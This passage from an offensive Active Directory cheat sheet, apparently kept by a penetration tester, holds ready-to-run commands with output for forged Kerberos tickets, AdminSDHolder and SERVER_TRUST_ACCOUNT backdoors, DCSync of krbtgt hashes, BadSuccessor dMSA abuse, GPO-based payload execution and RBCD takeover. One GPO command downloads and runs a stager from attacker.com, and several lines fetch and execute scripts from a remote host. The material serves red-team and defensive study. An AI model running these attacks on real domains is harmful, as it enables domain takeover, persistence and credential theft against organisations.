$ ticketer.py -request -user lowpriv -password 'Passw0rd!' -domain megacorp.local -domain-sid S-1-5-21-4266912945-3985045794-2943778634 -aesKey <AES_KEY> [-groups '512,513,516,518,519,520'] [-user-id 1337] [-duration 87600] snovvcrash
```

Using [Rubeus](https://github.com/4ndr3w6/Rubeus/tree/recutting_diamond)'s "Recutted Diamond" to obtain an OpSec Silver Ticket:

```
Cmd > Rubeus.exe diamond /domain:megacorp.local /dc:DC01.megacorp.local /ticketuser:administrator /ticketuserid:500 /groups:512,515 /service:HOST/SRV01.megacorp.local /enctype:aes /servicekey:<AES_KEY> /ldap /ldapuser:j.doe /ldappassword:Passw0rd! /opsec /nowrap /ticket:<LEGIT_OR_FORGED_ST>
Cmd > Rubeus.exe describe /servicekey:<MACHINE_AES_KEY> /krbkey:<KRBTGT_AES_KEY> /ticket:<OBTAINED_ST>
```

### Sapphire Ticket

* <https://thehacker.recipes/ad/movement/kerberos/forged-tickets/sapphire>
* <https://pgj11.com/posts/Diamond-And-Sapphire-Tickets/>

```
$ ticketer.py -request -user lowpriv -password 'Passw0rd!' -impersonate administrator -domain megacorp.local -domain-sid S-1-5-21-4266912945-3985045794-2943778634 -nthash <NT_HASH> -aesKey <AES_KEY> administrator
```

### Tools

* <https://scapy.readthedocs.io/en/latest/layers/kerberos.html>
* <https://github.com/jfjallid/kerbtool>

## AdminSDHolder Modification

* <https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence>
* <https://attack.stealthbits.com/adminsdholder-modification-ad-persistence>
* <https://pentestlab.blog/2022/01/04/domain-persistence-adminsdholder/>
* <https://petri.com/active-directory-security-understanding-adminsdholder-object/>

### Create a Backdoor

Add a new domain user or grant an existent user `GenericAll` permissions for the `AdminSDHolder` container:

```
PV3 > Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=megacorp,DC=local" -TargetDomain megacorp.local -PrincipalIdentity snovvcrash -PrincipalDomain megacorp.local -Rights All -Verbose
```

Check that granting `AdminSDHolder` permissions was successful (may take 60+ minutes for the security ACLs to get updated for that user):

```
PV3 > Get-DomainUser snovvcrash | select objectsid
S-1-5-21-2284550090-1208917427-1204316795-9824

PV3 > Get-DomainObjectAcl -Identity "CN=AdminSDHolder,CN=System,DC=megacorp,DC=local" -Domain megacorp.local -ResolveGUIDs | ? {$_.SecurityIdentifier -eq "S-1-5-21-2284550090-1208917427-1204316795-9824"}

AceType               : AccessAllowed
ObjectDN              : CN=AdminSDHolder,CN=System,DC=megacorp,DC=local
ActiveDirectoryRights : GenericAll
OpaqueLength          : 0
ObjectSID             :
InheritanceFlags      : None
BinaryLength          : 36
IsInherited           : False
IsCallback            : False
PropagationFlags      : None
SecurityIdentifier    : S-1-5-21-2284550090-1208917427-1204316795-9824
AccessMask            : 983551
AuditFlags            : None
AceFlags              : None
AceQualifier          : AccessAllowed
```

Now you can add yourself (the "snovvcrash" user) to the Domain Admins group any time and do stuff (actually adding the user to Domain Admins every time is not necessary, as the `AdminCount` attribute will stay `1` anyways after adding the backdoor user to a protected group for the first time):

```
PV3 > Add-DomainGroupMember -Identity "Domain Admins" -Members snovvcrash
PV3 > Get-DomainObjectAcl -Identity "Domain Admins" -Domain megacorp.local -ResolveGUIDs | ? {$_.SecurityIdentifier -eq "S-1-5-21-2284550090-1208917427-1204316795-9824"}

AceType               : AccessAllowed
ObjectDN              : CN=Domain Admins,CN=Users,DC=megacorp,DC=local
ActiveDirectoryRights : GenericAll
OpaqueLength          : 0
ObjectSID             : S-1-5-21-2284550090-1208917427-1204316795-512
InheritanceFlags      : None
BinaryLength          : 36
IsInherited           : False
IsCallback            : False
PropagationFlags      : None
SecurityIdentifier    : S-1-5-21-2284550090-1208917427-1204316795-9824
AccessMask            : 983551
AuditFlags            : None
AceFlags              : None
AceQualifier          : AccessAllowed

PV3 > Remove-DomainGroupMember -Identity "Domain Admins" -Members snovvcrash
PV3 > Get-DomainUser snovvcrash | select admincount

admincount
----------
         1
```

### Remove the Backdoor

* <https://www.reddefenseglobal.com/blog/microsoft-domain-attack-techniques/admincount/>
* <https://www.ucunleashed.com/1621>

Disable or remove the account (if a new user was created):

```
PS > net user snovvcrash /domain /active:no
PS > net user snovvcrash /domain /del
```

Remove user AdminSDHolder container via GUI (ADUC, dsa.msc).

Clear the `AdminCount` attribute (will be resetted if the user is still in the `AdminSDHolder` container):

```
PV3 > Set-DomainObject -Identity snovvcrash -Domain megacorp.local -Clear admincount -Verbose
Or
PS > Get-ADUser snovvcrash | Set-ADObject -Clear admincount
```

Fix the inheritance rules:

```
PS > [bool]$isProtected = $false
PS > [bool]$PreserveInheritance = $true
PS > [string]$dn = (Get-ADUser snovvcrash).DistinguishedName
PS > $user = [ADSI]"LDAP://$dn"
PS > $acl = $user.objectSecurity
PS > $acl.AreAccessRulesProtected
True  # procced if True
PS > $acl.SetAccessRuleProtection($isProtected, $PreserveInheritance)
PS > $inherited = $acl.AreAccessRulesProtected
PS > $user.commitchanges()
PS > $acl.AreAccessRulesProtected
False
```

## SERVER\_TRUST\_ACCOUNT

* <https://stealthbits.com/blog/server-untrust-account/>

When DA is owned (or any other account with `DS-Install-Replica` permission), you can create a fake machine account (or use an existing real machine account), set `SERVER_TRUST_ACCOUNT` bit for it and perform DCSync on behalf of this account to regain domain dominance.

1\. Create a fake machine account:

```
PM > New-MachineAccount -MachineAccount FakeMachine -Password $(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force) -Verbose
PV3 > Get-DomainComputer FakeMachine | select name,primarygroupid,useraccountcontrol

name        primarygroupid        useraccountcontrol
----        --------------        ------------------
FakeMachine            515 WORKSTATION_TRUST_ACCOUNT
```

2\. Set the `SERVER_TRUST_ACCOUNT` bit:

```
PV3 > Set-DomainObject FakeMachine -Set @{useraccountcontrol=8192}
PV3 > Get-DomainComputer FakeMachine | select name,primarygroupid,useraccountcontrol

name        primarygroupid   useraccountcontrol
----        --------------   ------------------
FakeMachine            516 SERVER_TRUST_ACCOUNT
```

3\. Perform DCSync:

```
$ secretsdump.py MEGACORP/'FakeMachine$:Passw0rd!'@DC01.megacorp.local -dc-ip 192.168.1.11 -just-dc-user 'MEGACORP\krbtgt'
```

4\. Clean up:

```
PV3 > Set-DomainObject FakeMachine -Set @{useraccountcontrol=4096}
Or
PM > Remove-MachineAccount -MachineAccount FakeMachine
```

## KRBTGT Constrained Delegation

* <https://skyblue.team/posts/delegate-krbtgt/>

{% tabs %}
{% tab title="Windows" %}

```powershell
# create a new service account (or abuse an existing one)
PM > New-MachineAccount -Domain megacorp.local -DomainController DC01.megacorp.local -MachineAccount FakeMachine -Password $(ConvertTo-SecureString 'Passw0rd1!' -AsPlainText -Force) -Verbose
# set UAC to be 'WORKSTATION_TRUST_ACCOUNT | TRUSTED_TO_AUTH_FOR_DELEGATION'
PV3 > Set-DomainObject "CN=FakeMachine,CN=Computers,DC=megacorp,DC=local" -Set @{useraccountcontrol=16781312} -Verbose
# set the krbtgt SPN for delegation
PV3 > Set-DomainObject "CN=FakeMachine,CN=Computers,DC=megacorp,DC=local" -Set @{"msDS-AllowedToDelegateTo"=@("krbtgt/MEGACORP")} -Verbose
# request TGS via S4U (will act as a TGT of the impersonated user)
PS > .\Rubeus.exe s4u /domain:megacorp.net /user:FakeMachine$ /rc4:b2bdbe60565b677dfb133866722317fd /impersonateuser:snovvcrash /msdsspn:krbtgt/MEGACORP /ptt
# cleanup: remove the SPN for delegation
PV3 > Set-DomainObject "CN=FakeMachine,CN=Computers,DC=megacorp,DC=local" -Clear msDS-AllowedToDelegateTo -Verbose
# cleanup: back to UAC 'WORKSTATION_TRUST_ACCOUNT'
PV3 > Set-DomainObject "CN=FakeMachine,CN=Computers,DC=megacorp,DC=local" -Set @{useraccountcontrol=4096} -Verbose
```

{% endtab %}

{% tab title="Linux" %}

* <https://gist.github.com/snovvcrash/c8f8fa7721c40f4cca0c46c196066a41>

```bash
# create a new service account (or abuse an existing one)
$ addcomputer.py -computer-name Persist1 -computer-pass 'Passw0rd1!' -dc-ip 192.168.1.11 megacorp.local/lowpriv:'Passw0rd2!'
# set UAC to be 'WORKSTATION_TRUST_ACCOUNT | TRUSTED_TO_AUTH_FOR_DELEGATION' and set the krbtgt SPN for delegation
$ python3 setCD.py megacorp.local/administrator:'Passw0rd3!' -dc-ip 192.168.1.11 -target 'Persist1$' -spn krbtgt/MEGACORP
# request TGS via S4U (will act as a TGT of the impersonated user)
$ getST.py -spn krbtgt/MEGACORP megacorp.local/'Persist1$:Passw0rd1!' -dc-ip 192.168.1.11 -impersonate 'DC01$'
# fire DCSync
$ KRB5CCNAME=`pwd`/'DC01$.ccache' secretsdump.py DC01.megacorp.local -dc-ip 192.168.1.11 -k -no-pass -just-dc
```

{% endtab %}
{% endtabs %}


# gMSA / dMSA

Group Managed Service Accounts / Delegated Managed Service Accounts

## Golden gMSA

* <https://www.semperis.com/blog/golden-gmsa-attack/>
* <https://github.com/Semperis/GoldenGMSA>

## BadSuccessor

* <https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory>
* <https://www.akamai.com/blog/security-research/badsuccessor-is-dead-analyzing-badsuccessor-patch>
* <https://medium.com/seercurity-spotlight/operationalizing-the-badsuccessor-abusing-dmsa-for-domain-privilege-escalation-429cefc36187>
* <https://sapirxfed.com/2025/05/24/the-new-dmsa-vuln-for-people-who-dont-know-what-dmsa-is/>
* <https://specterops.io/blog/2025/05/27/understanding-mitigating-badsuccessor/>
* <https://kreep.in/badsuccessor-abusing-dmsas-for-ad-domination/>

Enumerate OUs where we can create child objects (using [powerview.py](https://github.com/aniqfakhrul/powerview.py) or [bloodyAD](https://github.com/CravateRouge/bloodyAD)):

```
PV > Get-DomainObjectAcl -LDAPFilter "(objectClass=organizationalUnit)" -Where "ActiveDirectoryRights contains CreateChild"
$ bloodyAD -d megacorp.local -k --host DC01.megacorp.local --dc-ip 192.168.1.11 --dns 192.168.1.11 [--gc 192.168.1.11] [-s] get writable --otype OU [--right CHILD]
```

Create a dMSA account with a superseded account in the `msDS-ManagedAccountPrecededByLink` property (using [powerview.py](https://github.com/aniqfakhrul/powerview.py) or [bloodyAD](https://github.com/CravateRouge/bloodyAD)):

```
PV > Add-DomainDMSA -Identity mydmsa -PrincipalsAllowedToRetrieveManagedPassword jdoe -SupersededAccount DC01 [-BaseDN "CN=Managed Service Accounts,DC=megacorp,DC=local"]
$ bloodyAD -d megacorp.local -k --host DC01.megacorp.local --dc-ip 192.168.1.11 --dns 192.168.1.11 [--gc 192.168.1.11] [-s] add badSuccessor mydmsa -t "CN=DC01,OU=Domain Controllers,DC=megacorp,DC=local" [--ou "CN=Managed Service Accounts,DC=megacorp,DC=local"]
```

Ask for a TGT containing the superseded account PAC (using [Rubeus](https://github.com/GhostPack/Rubeus) or [minikerberos-getDmsa](https://github.com/skelsec/minikerberos/blob/main/minikerberos/examples/getDmsa.py)):

```
Cmd > Rubeus.exe asktgs /targetuser:mydmsa$ /service:krbtgt/megacorp.local /dmsa /opsec /nowrap /ticket:<JDOE_TGT>
$ python3 minikerberos/examples/getDmsa.py 'kerberos+ccache://megacorp.local\jdoe:tgt.ccache@192.168.1.11' 'mydmsa$@megacorp.local' --ccache /tmp/mydmsa.ccache
```

Request TGT and grep for "previous keys" (from `KERB-DMSA-KEY-PACKAGE` structure), which is actually current RC4 of the superseded account, for all domain users and computers in a loop (requires [this Rubeus](https://github.com/GhostPack/Rubeus/compare/master...YuG0rd:Rubeus:master)):

```powershell
$domain = Get-ADDomain
$dmsa = "CN=mydmsa,CN=Managed Service Accounts,$($domain.DistinguishedName)"
$allDNs = @(Get-ADUser -Filter * | select @{n='DN';e={$_.DistinguishedName}}, sAMAccountName) `
        + @(Get-ADComputer -Filter * | select @{n='DN';e={$_.DistinguishedName}}, sAMAccountName)
$allDNs | % {
    Set-ADObject -Identity $dmsa -Replace @{ "msDS-ManagedAccountPrecededByLink" = $_.DN }
    $res = Invoke-Rubeus asktgs /targetuser:mydmsa$ /service:"krbtgt/$($domain.DNSRoot)" /opsec /dmsa /nowrap /ticket:$kirbi
    $rc4 = [regex]::Match($res, 'Previous Keys for .*\$: \(rc4_hmac\) ([A-F0-9]{32})').Groups[1].Value
    "$($_.sAMAccountName):$rc4"
}
```

### Tools

* <https://github.com/akamai/BadSuccessor>
* <https://github.com/logangoins/SharpSuccessor>
* <https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessorCheck.ps1>
* <https://github.com/fulc2um/impacket/blob/badsuccessor/examples/badsuccessor.py>

## Golden dMSA

* <https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/>
* <https://github.com/Semperis/GoldenDMSA>


# GPO Abuse

Group Policy Objects

* <https://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/>
* <https://wald0.com/?p=179>
* <https://github.com/EvotecIT/GPOZaurr>
* <https://xakep.ru/2023/02/01/exploiting-gpo/>
* <https://www.pentestpartners.com/security-blog/living-off-the-land-gpo-style/>

Force GPO update on all domain computers:

```
PS > Get-ADComputer -Filter * | % {Invoke-GPUpdate -Computer $_.name -Force -RandomDelayInMinutes 0}
```

## Hunt for GPOs

List all GPOs in the domain:

```
PS > .\SharpView.exe Get-DomainGPO -Properties displayName
```

List GPOs applied to a specifiec domain user or computer:

```
PS > .\SharpView.exe Get-DomainGPO -UserIdentity snovvcrash -Properties DisplayName
PS > .\SharpView.exe Get-DomainGPO -ComputerIdentity WS01 -Properties DisplayName
Or
Cmd > gpresult /r /user snovvcrash [/h gpos-snovvcrash.html]
Cmd > gpresult /r /s WS01 [/h gpos-ws01.html]
```

Search for writable GPOs for the `Domain Users` security group:

```
PV3 > Get-DomainGPO | Get-ObjectAcl | ? {$_.SecurityIdentifier -eq ((Get-DomainGroup "Domain Users" | select objectSid).objectSid)}
PV3 > Get-DomainGPO '{<GPO_GUID>}'
Or
PS > Get-GPO -Guid <GPO_GUID>
```

## Permissions Abuse

### Recon

Show all GPOs in the domain:

```
PV3 > Get-NetGPO -Domain megacorp.local | select cn,displayname
```

Search for GPOs that are controlled by the `MEGACORP\PolicyAdmins` group:

```
PV3 > Get-NetGPO | % {Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "MEGACORP\PolicyAdmins"}
```

List computers that are affected by vulnerable (modifiable) GPO:

```
PV3 > Get-NetOU -GUID "00ff00ff-00ff-00ff-00ff-00ff00ff00ff" | % {Get-NetComputer -ADsPath $_}
```

Note: if I list all OUs affected by this GPO with PowerView, there will be no domain shown (like in BloodHound), but in Group Policy Manager we can see that it is presented.

Check if computer settings are enabled for this GPO (and enable them if not):

* <https://gist.github.com/snovvcrash/ecdc639b061fe787617d8d92d8549801>

```
PS > Get-Gpo VULN.GPO.NAME
PS > Set-GpoStatus VULN.GPO.NAME -Status AllSettingsEnabled
```

List users that can create a GPO and link it to a specific OU:

```
PV3 > Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=megacorp,DC=local" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" -and $_.ActiveDirectoryRights -match "CreateChild" } | select objectDN,securityIdentifier | fl
PV3 > Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" } | select objectDN,securityIdentifier | fl
```

### Immediate Scheduled Tasks

#### GPOImmediateTask

* [PowerView3.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/26a0757612e5654b4f792b012ab8f10f95d391c9/Recon/PowerView.ps1#L5907-L6122) [(New-GPOImmediateTask)](https://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/)

Create a task with a PowerShell payload:

```
$ echo 'sc -path "c:\\windows\\temp\\poc.txt" -value "GPO Abuse PoC..."' | iconv -t UTF-16LE | base64 -w0; echo
cwBjACAALQBwAGEAdABoACAAIgBjADoAXAB3AGkAbgBkAG8AdwBzAFwAdABlAG0AcABcAHAAbwBjAC4AdAB4AHQAIgAgAC0AdgBhAGwAdQBlACAAIgBHAFAATwAgAEEAYgB1AHMAZQAgAFAAbwBDAC4ALgAuACIACgA=
PS > New-GPOImmediateTask -TaskName Pentest -GPODisplayName VULN.GPO.NAME -CommandArguments '-NoP -NonI -W Hidden -Enc cwBjACAALQBwAGEAdABoACAAIgBjADoAXAB3AGkAbgBkAG8AdwBzAFwAdABlAG0AcABcAHAAbwBjAC4AdAB4AHQAIgAgAC0AdgBhAGwAdQBlACAAIgBHAFAATwAgAEEAYgB1AHMAZQAgAFAAbwBDAC4ALgAuACIACgA=' -Force
```

Clean up:

```
PS > New-GPOImmediateTask -GPODisplayName VULN.GPO.NAME -Remove -Force
```

Check when GP was last applied:

```
Cmd > GPRESULT /R
```

#### GPOwned + pyGPOAbuse

* <https://github.com/X-C3LL/GPOwned>
* <https://github.com/Hackndo/pyGPOAbuse>

Get target GPO ID:

```
$ python3 GPOwned.py -u snovvcrash -p 'Passw0rd!' -d megacorp.local -dc-ip 192.168.1.11 -gpcmachine -listgpo
```

Create an immediate scheduled task:

```
$ python3 pygpoabuse.py megacorp.local/snovvcrash:'Passw0rd!' -gpo-id <GPO_ID> -dc-ip 192.168.1.11 -v -command -powershell '(New-Object Net.WebClient).DownloadFile("https://attacker.com/stager.exe", "C:\Windows\Temp\stager.exe"); if ($?) {C:\Windows\Temp\stager.exe}'
```

### GPPrefRegistryValue

Check if GPMC is installed and if it's not, install it as a Windows Feature (requires elevation):

```
PS > Get-Module -List -Name GroupPolicy | select -expand ExportedCommands
PS > Install-WindowsFeature –Name GPMC
```

Create an evil GPO and link it to the target OU (will be visible in the management console):

```
PS > New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=megacorp,DC=local"
```

Locate a writable network share:

```
PV3 > Find-DomainShare -CheckShareAccess
```

Prepare your payload, put it to the network share and create an autorun value in the evil GPO to run the payload on boot/logon:

```
PS > Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min /c \\srv01\SoftwareShare\evil.exe" -Type ExpandString
```

## WMI Filters

* <https://rastamouse.me/ous-and-gpos-and-wmi-filters-oh-my/>

## GPO Abuse via NTLM Relay

* <https://www.synacktiv.com/publications/gpoddity-exploiting-active-directory-gpos-through-ntlm-relaying-and-more>
* <https://github.com/synacktiv/GPOddity>

## Tools

* <https://github.com/FSecureLABS/SharpGPOAbuse>
* <https://github.com/cogiceo/GPOHound>

### GroupPolicyBackdoor

* <https://github.com/synacktiv/GroupPolicyBackdoor>

Install:

```
$ git clone https://github.com/synacktiv/GroupPolicyBackdoor && cd GroupPolicyBackdoor
$ python -m venv venv && source ./venv/bin/activate
$ pip install -r requirements.txt
```

Basic usage:

```
$ python gpb.py gpo enum -d megacorp.local --dc DC01.megacorp.local -k --gpo-name VulnGPO [--ldaps] [-v]
$ python gpb.py gpo inject -d megacorp.local --dc DC01.megacorp.local -k --module modules_templates/ImmediateTask_create.ini --gpo-name VulnGPO [--ldaps] [-v]
$ python gpb.py gpo clean -d megacorp.local --dc DC01.megacorp.local -k --state-folder state_folders/1970_01_01_000000 [--ldaps] [-v]
```


# Kerberos

* <https://www.roguelynn.com/words/explain-like-im-5-kerberos/>
* <https://vbscrub.com/2020/05/13/kerberos-protocol-explained/>
* <https://www.tarlogic.com/en/blog/how-kerberos-works/>
* <https://www.tarlogic.com/en/blog/how-to-attack-kerberos/>
* <https://www.tarlogic.com/en/blog/kerberos-iii-how-does-delegation-work/>
* <https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a>
* <https://habr.com/ru/company/tomhunter/blog/507140/>
* <https://habr.com/ru/company/tomhunter/blog/509290/>
* <https://ardent101.github.io/posts/kerberos_theory/>
* <https://ardent101.github.io/posts/kerberos_general_attacks/>
* <https://habr.com/ru/articles/803163/>

{% embed url="<https://blog.zsec.uk/common-tool-errors-kerberos/>" %}

{% embed url="<https://youtu.be/qZPvgoUzCdI>" %}

## Synchronize Time

Using `ntpdate`:

```
$ sudo apt install ntpdate -y
$ sudo ntpdate $DC
```

Using `faketime`:

```
$ sudo apt install faketime -y
$ faketime '1970-01-01 00:00:00' /bin/date
$ faketime "`ntpdate -q $DC | awk -F. '{print $1}'`" /bin/date
```

Using LDAP:

```
$ LDAP_TIME=`ldapsearch -x -H ldap://DC01.megacorp.local -s base -b "" currentTime | awk '/currentTime/ {print $2}' | grep -v "requesting:" | sed -E 's/^([0-9]{4})([0-9]{2})([0-9]{2})([0-9]{2})([0-9]{2})([0-9]{2})\.0Z$/\1-\2-\3 \4:\5:\6 UTC/'`
$ LDAP_TIME=`date -d "$LDAP_TIME X hours" '+%Y-%m-%d %H:%M:%S'`
$ echo $LDAP_TIME && sudo date -u -s $LDAP_TIME
```

## Describe Tickets

* <https://github.com/YossiSassi/Get-KerberosServiceTicketAudit>

Using [describeTicket.py](https://github.com/fortra/impacket/blob/master/examples/describeTicket.py):

```
$ describeTicket.py --rc4 21c1d44272e8ad1ee9e6b1aed2943688 --aes d38bf2b75fd1732a4cd7e5d129c62f0ed7feaccaff05c6b4a3bf6a9fc2004036 /tmp/snovvcrash.ccache
```

## Decrypt KRB5 Traffic

* <https://dirkjanm.io/active-directory-forest-trusts-part-two-trust-transitivity/>
* <https://medium.com/tenable-techblog/decrypt-encrypted-stub-data-in-wireshark-deb132c076e7>

{% code title="keytab.sh" %}

```bash
REALM='MEGACORP.LOCAL'
secretsdump.py megacorp.local/snovvcrash:'Passw0rd!'@DC01.megacorp.local -just-dc | tee secretsdump.out

# ---

cat secretsdump.out | grep aad3b435 | awk -F: '{print "    (23, '\''"$4"'\''),"}' > keys
cat secretsdump.out | grep aes256-cts-hmac-sha1-96 | awk -F: '{print "    (18, '\''"$3"'\''),"}' >> keys
curl -sSL https://github.com/dirkjanm/forest-trust-tools/raw/6bfeb990f0db8a580afe5cbba3cce1bf959a7fb8/keytab.py > keytab.py
awk 'NR <= 112' keytab.py > t
cat keys >> t
awk 'NR >= 118' keytab.py >> t
sed -i "s/TESTSEGMENT.LOCAL/${REALM}/g" t
mv t keytab.py
python3 keytab.py keytab.kt
```

{% endcode %}

## Kerberos on Linux

* <https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-active-directory>

Check `KRB5CCNAME` environment variable contents:

```
$ env | grep KRB5
```

Request TGT supplying password:

```
$ kinit
$ klist
```

List available SPNs:

```
$ ldapsearch -Y GSSAPI -H ldap://dc1.megacorp.local -D "Administrator@MEGACORP.LOCAL" -W -b "dc=megacorp,dc=local" "servicePrincipalName=*" servicePrincipalName
```

Request TGS for MSSQL service:

```
$ kvno MSSQLSvc/SRV01.megacorp.local:1433
$ klist
```

Re-using keytab files to load and renew a TGT:

```
$ kinit administrator@MEGACORP.LOCAL -k -t /tmp/administrator.keytab
$ klist
$ kinit -R
```

Re-using ccache files:

```
$ sudo chown snovvcrash:snovvcrash /tmp/krb5cc_31337
$ kdestroy
$ export KRB5CCACHE=/tmp/krb5cc_31337
$ klist
```

### FreeIPA

* <https://tishina.in/ops/freeipa-postexploitation>
* <https://habr.com/ru/companies/rvision/articles/825086/>

A blog series by [@n0pe\_sled](https://medium.com/@n0pe_sled) on attacking FreeIPA:

* [Building a FreeIPA Lab](https://posts.specterops.io/building-a-freeipa-lab-17f3f52cd8d9)
* [Attacking FreeIPA — Part I Authentication](https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a)
* [Attacking FreeIPA — Part II Enumeration](https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1)
* [Attacking FreeIPA — Part III: Finding A Path](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e)
* [Attacking FreeIPA — Part IV: CVE-2020–10747](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)
* <https://book.hacktricks.xyz/linux-hardening/freeipa-pentesting>


# Delegation Abuse

* <https://www.guidepointsecurity.com/blog/delegating-like-a-boss-abusing-kerberos-delegation-in-active-directory/>
* <https://www.thehacker.recipes/ad-ds/movement/kerberos/delegations#theory>
* <https://youtu.be/byykEId3FUs?t=2619>
* <https://luemmelsec.github.io/S4fuckMe2selfAndUAndU2proxy-A-low-dive-into-Kerberos-delegations/>
* <https://unit42.paloaltonetworks.com/next-gen-kerberos-attacks/>

{% embed url="<https://github.com/ShutdownRepo/The-Hacker-Recipes/raw/master/.gitbook/assets/Insomnihack%202022%20-%20Delegating%20Kerberos%20To%20Bypass%20Kerberos%20Delegation%20Limitations.pdf>" %}

## CVE-2022-33679

* <https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html>
* <https://github.com/Bdenneu/CVE-2022-33679>

## Tools

* <https://github.com/mtth-bfft/adeleg>


# Constrained

* <https://habr.com/ru/companies/tomhunter/articles/683924/>
* <https://ardent101.github.io/posts/kerberos_constrained/>

{% embed url="<https://snovvcrash.github.io/2022/03/06/abusing-kcd-without-protocol-transition.html>" %}


# Resource-based Constrained

{% embed url="<https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html>" %}

* <https://www.harmj0y.net/blog/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/>
* <https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution>
* <https://sensepost.com/blog/2020/chaining-multiple-techniques-and-tools-for-domain-takeover-using-rbcd/>
* <https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/RBCD_Abuse_Checker.ps1>

## MAQ (Machine Account Quota)

PowerShell (ActiveDirectory module):

```
PS > Get-ADObject -Identity "DC=megacorp,DC=local" -Properties * | select ms-ds-machineAccountQuota
```

PowerView:

```
PV3 > Get-DomainObject -Identity "DC=megacorp,DC=local" | select ms-ds-machineAccountQuota
```

LDAP:

```
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd1!' -m custom --filter '(&(objectClass=domain)(distinguishedName=DC=megacorp,DC=local))' --attrs ms-ds-machineAccountQuota
$ ldeep ldap -d megacorp.local -u snovvcrash -p 'Passw0rd!' -s ldap://192.168.1.11 search '(&(objectClass=domain)(distinguishedName=DC=megacorp,DC=local))' ms-ds-machineAccountQuota
```

CrackMapExec:

```
$ cme ldap 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -M MAQ
```

### CVE-2021-34470

* <https://offsec.almond.consulting/ldap-relays-for-initial-foothold-in-dire-situations.html>
* <https://github.com/fortra/impacket/pull/1288>
* <https://github.com/tmenochet/ADTamper/blob/169031ac7f515aabe7339d6d99274553eb554b5e/ADTamper.ps1#L177>

## RBCD from Windows

Load tools:

```
PS > IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/powermad.ps1")
PS > IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/powerview4.ps1")
```

Define credentials for the compromised account with the necessary DACL:

```
PS > $userWithDaclUsername = 'megacorp.local\snovvcrash'
PS > $userWithDaclPassword = ConvertTo-SecureString 'Qwe123!@#' -AsPlainText -Force
PS > $cred = New-Object System.Management.Automation.PSCredential($userWithDaclUsername, $userWithDaclPassword)
```

Add new machine account and configure RBCD (i.e., set `msDS-AllowedToActOnBehalfOfOtherIdentity` property to value of the new machine account SID) on the vulnerable host (DC01):

```
Powermad > New-MachineAccount -MachineAccount fakemachine -Password $(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force) -Verbose
PV3 > $computerSID = Get-DomainComputer -Identity fakemachine -Properties ObjectSid -Verbose -Credential $cred | select -Expand ObjectSid
PS > $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($computerSID))"
PS > $SDBytes = New-Object byte[] ($SD.BinaryLength)
PS > $SD.GetBinaryForm($SDBytes, 0)
PV3 > Get-DomainComputer DC01.megacorp.local -Verbose -Credential $cred | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDBytes} -Verbose -Credential $cred
PS > .\Rubeus.exe hash /domain:megacorp.local /user:fakemachine$ /password:Passw0rd!
FC525C9683E8FE067095BA2DDC971889
```

Ask TGS for CIFS and also inject [other](https://adsecurity.org/?page_id=183) potentially useful service names into the ticket (sname field [is not protected](https://www.secureauth.com/blog/kerberos-delegation-spns-and-more/) in TGS-REQ):

```
PS > .\Rubeus.exe s4u /domain:megacorp.local /user:fakemachine$ /rc4:FC525C9683E8FE067095BA2DDC971889 /impersonateuser:DC01$ /msdsspn:CIFS/DC01.megacorp.local /altservice:host,wsman,ldap,http /ptt
```

If the ticket cannot be imported or there's no access to corresponding services, troubleshoot it:

* Try impersonating different privileged users when requesting the ticket.
* Try using FQDN to NetBIOS under `/msdsspn` parameter (i.e., `CIFS/DC01.megacorp.local` > `CIFS/DC01`).

After the ticket has been successfully imported we can go for filesystem access (CIFS), PSRemoting (WSMAN), DCSync (LDAP) and so on:

```
PS > klist
# CIFS
PS > cd \\DC01.megacorp.local\c$
PS > ls
PS > c:
# WSMAN
PS > Enter-PSSession -ComputerName DC01.megacorp.local
PS > exit
# LDAP
PS > ...DCSync...
```

Clean up:

```
PV3 > Get-DomainComputer DC01.megacorp.local -Verbose -Credential $cred | Set-DomainObject -Clear 'msDS-AllowedToActOnBehalfOfOtherIdentity' -Verbose -Credential $cred
Powermad > Remove-MachineAccount -MachineAccount fakemachine
```

### PowerView 4.0

Configure RBCD on the vulnerable host (DC01):
